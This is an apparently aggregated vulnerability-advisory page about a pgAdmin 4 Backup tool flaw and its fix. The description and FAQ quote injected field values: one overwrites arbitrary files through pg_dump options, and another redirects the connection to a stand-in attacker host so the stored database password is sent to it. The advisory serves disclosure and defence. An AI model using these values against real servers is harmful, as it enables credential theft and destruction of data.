CVE-2026-86864

HIGHCVSS 8.8/10EPSS 0.38%

Last modified

CVE-2026-86864 is a high-severity vulnerability rated 8.8/10 on the CVSS scale. pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. EPSS estimates a 0.38% chance of exploitation in the next 30 days.

Description

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

Metrics

Weakness Enumeration

Affected Software

VendorProductVersions
PgadminPgadmin 4< 9.18

References

Timeline

Published
Last Modified
Status
Analyzed

Frequently Asked Questions

What is CVE-2026-86864?
pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.
How severe is CVE-2026-86864?
CVE-2026-86864 has a CVSS score of 8.8/10 (HIGH severity). The EPSS model estimates a 0.38% probability of exploitation in the next 30 days.
How do I fix CVE-2026-86864?
Check the vendor references and advisories linked above for patched versions and mitigation guidance. You can also run a Strix scan to test if your systems are affected.

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Source: NVD / NIST